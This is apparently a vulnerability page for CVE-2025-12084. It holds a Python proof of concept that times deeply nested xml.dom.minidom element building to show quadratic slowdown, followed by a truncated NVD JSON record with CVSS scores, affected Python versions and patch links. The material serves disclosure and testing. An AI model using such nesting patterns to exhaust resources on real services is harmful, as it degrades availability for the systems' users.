CVE-2025-12084

#!/usr/bin/env python3 """ CVE-2025-12084 PoC - xml.dom.minidom quadratic complexity DoS This PoC demonstrates the quadratic time complexity issue in xml.dom.minidom when building deeply nested elements. """ import time from xml.dom.minidom import Document def create_nested_document(depth): """ Create a deeply nested XML document using minidom This triggers the quadratic complexity in _clear_id_cache() """ doc = Document() root = doc.createElement('root') doc.appendChild(root) current = root for i in range(depth): child = doc.createElement(f'level_{i}') current.appendChild(child) current = child return doc def test_performance(): """ Test performance with different nesting depths Compare time taken for different depths to show O(n²) complexity """ depths = [100, 200, 400, 800, 1000] print("Testing xml.dom.minidom nested element building performance:") print("-" * 60) for depth in depths: start_time = time.time() doc = create_nested_document(depth) elapsed = time.time() - start_time print(f"Depth {depth:4d}: {elapsed:.4f} seconds") print("-" * 60) print("Notice: Time increases quadratically with depth (O(n²))") print("This demonstrates the vulnerability CVE-2025-12084") if __name__ == '__main__': test_performance()

{"cve": {"id": "CVE-2025-12084", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:55.050", "lastModified": "2026-01-26T15:16:05.950", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "When building nested elements using xml.dom.minidom methods such as appendChild() that have a dependency on _clear_id_cache() the algorithm is quadratic. Availability can be impacted when building excessively nested documents."}, {"lang": "es", "value": "Al construir elementos anidados utilizando métodos de xml.dom.minidom como appendChild() que tienen una dependencia de _clear_id_cache(), el algoritmo es cuadrático. La disponibilidad puede verse afectada al construir documentos excesivamente anidados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.11", "matchCriteriaId": "701E94DB-563E-44FF-AABF-0F49A9FF664A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.0", "versionEndExcluding": "3.14.2", "matchCriteriaId": "2DC54087-753D-4990-AD62-F7D6DCD125D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "A3327507-0B1D-4F28-A983-D07A2C8A7696"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "C8AF17F1-A27F-4C98-BA5A-B4319710E8D1"}]}]}], "references": [{"url": "https://github.com/python/cpython/commit/027f21e417b26eed4505ac2db101a4352b7c51a0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/08d8e18ad81cd45bc4a27d6da478b51ea49486e4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/27648a1818749ef44c420afe6173af6868715437", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/41f468786762348960486c166833a218a0a436af", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/57937a8e5e293f0dcba5115f7b7a11b1e0c9a273", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/8d2d7bb2e754f8649a68ce4116271a4932f76907", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/9c9dda6625a2a90d2a06c657eee021d6be19842d", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/a46c10ec9d4050ab67b8a932e0859a2ea60c3cb8", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/a696ba8b4d42fd632afc9bc88ad830a2e4cceed8", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/c97e87593063d84a2bd9fe7068b30eb44de23dc0", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/ddcd2 ... (truncated)